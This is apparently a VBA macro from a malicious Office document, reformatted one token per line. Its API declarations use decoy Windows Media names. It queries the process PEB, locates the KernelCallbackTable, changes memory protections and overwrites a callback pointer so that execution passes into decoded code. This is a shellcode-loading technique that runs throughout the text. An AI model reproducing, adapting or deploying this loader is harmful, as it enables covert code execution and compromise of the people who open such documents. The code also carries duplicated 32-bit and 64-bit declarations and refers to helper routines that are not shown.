Private Declare PtrSafe Function LoadPlaybackHD Lib
"kernel32"
_
Alias
"LoadLibraryA"
(ByVal LoadPlaybackHDSize As String) As LongLong
Private Declare PtrSafe Function LoadPlaybackHD Lib
"kernel32"
_
Alias
"LoadLibraryA"
(ByVal LoadPlaybackHDSize As String) As
Long
Private Declare PtrSafe Function WMvdspt Lib
"kernel32"
_
Alias
"GetProcAddress"
(ByVal WMvdsptParam1 As LongLong, ByVal WMvdsptParam2 As String) As LongPtr
Private Declare PtrSafe Function WMvdspt Lib
"kernel32"
_
Alias
"GetProcAddress"
(ByVal WMvdsptParam1 As
Long
, ByVal WMvdsptParam2 As String) As LongPtr
Private Declare PtrSafe Function VirtualProtect Lib
"kernel32"
_
Alias
"VirtualProtect"
(WMVSDecdParam1 As LongPtr, ByVal WMVSDecdParam2 As LongLong, ByVal WMVSDecdParam3 As
Long
, WMVSDecdParam4 As LongPtr) As
Long
Private Declare PtrSafe Sub memcpy Lib
"ntdll"
Alias
"memcpy"
(ByRef WMVdspaParam1 As
Any
, ByRef WMVdspaParam2 As
Any
, ByVal WMVdspaParam3 As LongLong)
Private Declare PtrSafe Function VirtualProtect Lib
"kernel32"
_
Alias
"VirtualProtect"
(WMVSDecdParam1 As LongPtr, ByVal WMVSDecdParam2 As
Long
, ByVal WMVSDecdParam3 As
Long
, WMVSDecdParam4 As LongPtr) As
Long
Private Declare PtrSafe Sub memcpy Lib
"ntdll"
Alias
"memcpy"
(ByRef WMVdspaParam1 As
Any
, ByRef WMVdspaParam2 As
Any
, ByVal WMVdspaParam3 As
Long
)
Dim WMPlaybackHD As LongLong
Dim WMPlaybackSC As LongLong
Dim WMPlaybackRadd As LongLong
Dim WMPlaybackHD As
Long
Dim WMPlaybackSC As
Long
Dim WMPlaybackRadd As
Long
Private
Type
PROCESS_BASIC_INFORMATION
WmScrData1 As LongPtr
PebBaseAddress As LongPtr
WmScrData3 As LongPtr
WmScrMeta1 As LongPtr
WmScrMeta2 As LongPtr
WmScrMeta3 As LongPtr
End
Type
'typedef struct _PROCESS_BASIC_INFORMATION {
' NTSTATUS ExitStatus;
' PPEB PebBaseAddress;
' ULONG_PTR AffinityMask;
' KPRIORITY BasePriority;
' ULONG_PTR UniqueProcessId;
' ULONG_PTR InheritedFromUniqueProcessId;
'} PROCESS_BASIC_INFORMATION;
Private Declare PtrSafe Function NtQueryInformationProcess Lib
"ntdll"
Alias
"NtQueryInformationProcess"
( _
ByVal StreamEncdIn1 As LongPtr, _
ByVal StreamEncdIn2 As
Long
, _
ByRef StreamEncdIn3 As PROCESS_BASIC_INFORMATION , _
ByVal StreamEncdIn4 As
Long
, _
ByRef StreamEncdIn5 As
Long
_
) As Integer
Private Sub Frame1_Layout()
On Error Resume
Next
WMPlaybackHD
=
LoadPlaybackHD(
"WMVCORE.DLL"
)
Dim KCT_Offset As
Long
Dim wmorder As
Long
Dim WMVSDecpro As
Long
WMPlaybackRadd
=
8
KCT_Offset
=
&H58
wmorder
=
&H10 '__fnDWORDOPTINLPMSG
WMVSDecpro
=
Play_Encd
WMPlaybackRadd
=
4
KCT_Offset
=
&H2C 'KernelCallbackTable Offset
wmorder
=
&H8 '__fnDWORD
WMVSDecpro
=
Play_Encd_Dcd
Dim WmEmptyData As LongPtr
Dim Ret As
Long
Dim WMCreateFileSink As LongPtr
Dim WMModifyFSink As LongPtr
Dim capa As
Long
Dim ProcessInformation As PROCESS_BASIC_INFORMATION
Dim KernelCallbackTable As LongPtr
Dim wmflash As LongPtr
Dim wmWnd As LongPtr
WMPlaybackSC
=
0
If WMIsAvailableOffline()
=
False
Then
WMCreateFileSink
=
WMvdspt(WMPlaybackHD,
"WMIsAvailableOffline"
)
Result
=
NtQueryInformationProcess(
-
1
,
0
, ProcessInformation,
Len
(ProcessInformation), capa)
memcpy KernelCallbackTable, ByVal (ProcessInformation.PebBaseAddress
+
KCT_Offset), WMPlaybackRadd
Ret
=
VirtualProtect(ByVal (WMCreateFileSink
-
16
), &H100000, Play_Encd, WmEmptyData)
wmflash
=
KernelCallbackTable
+
wmorder
Ret
=
VirtualProtect(ByVal (wmflash), WMPlaybackRadd, WMVSDecpro, WmEmptyData)
WMModifyFSink
=
WMCreateFileSink
WMModifyFSink
=
WMCheckURLScheme1(WMModifyFSink)
WMModifyFSink
=
WMCheckURLScheme2(WMModifyFSink)
WMModifyFSink
=
WMCheckURLScheme3(WMModifyFSink)
memcpy ByVal (WMCreateFileSink
-
16
), ByVal (wmflash), WMPlaybackRadd
Ret
=
VirtualProtect(ByVal (WMCreateFileSink
-
16
), &H100000, Play_Decd_Rdh, WmEmptyData)
memcpy ByVal (wmflash), (WMCreateFileSink), WMPlaybackRadd